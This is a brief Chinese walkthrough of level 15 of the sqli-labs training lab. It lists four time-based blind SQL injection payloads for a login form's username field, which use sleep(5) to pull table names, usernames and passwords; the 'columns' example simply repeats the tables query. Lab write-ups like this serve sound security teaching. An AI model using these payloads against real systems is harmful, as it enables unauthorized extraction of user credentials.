Sqlilabs-15

这一关来到了第 15 关,值得注意的是,这一关是布尔和时间盲注的结合关,很好玩哦~

dae3f1472e129336a4600bdb4587ebb.png

因为有时间盲注,这里就直接上菜了,下面是几个例子

–查表
uname=admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables limit 0,1),1,1))>10,sleep(5),1)#&passwd=111&submit=submit

–查列
uname=admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables limit 0,1),1,1))>10,sleep(5),1)#&passwd=111&submit=submit

–查用户名
uname=admin' and if(ascii(substr((select group_concat(username) from users limit 0,1),1,1))>10,sleep(5),1)#&passwd=111&submit=submit

–查密码
uname=admin' and if(ascii(substr((select group_concat(password) from users limit 0,1),1,1))>10,sleep(5),1)#&passwd=111&submit=submit

也可以像第 8 关那样写一个脚本,因为只要掌握基本原理就可以写,这里就不再构造了…

你可能感兴趣的:(sqlilabs)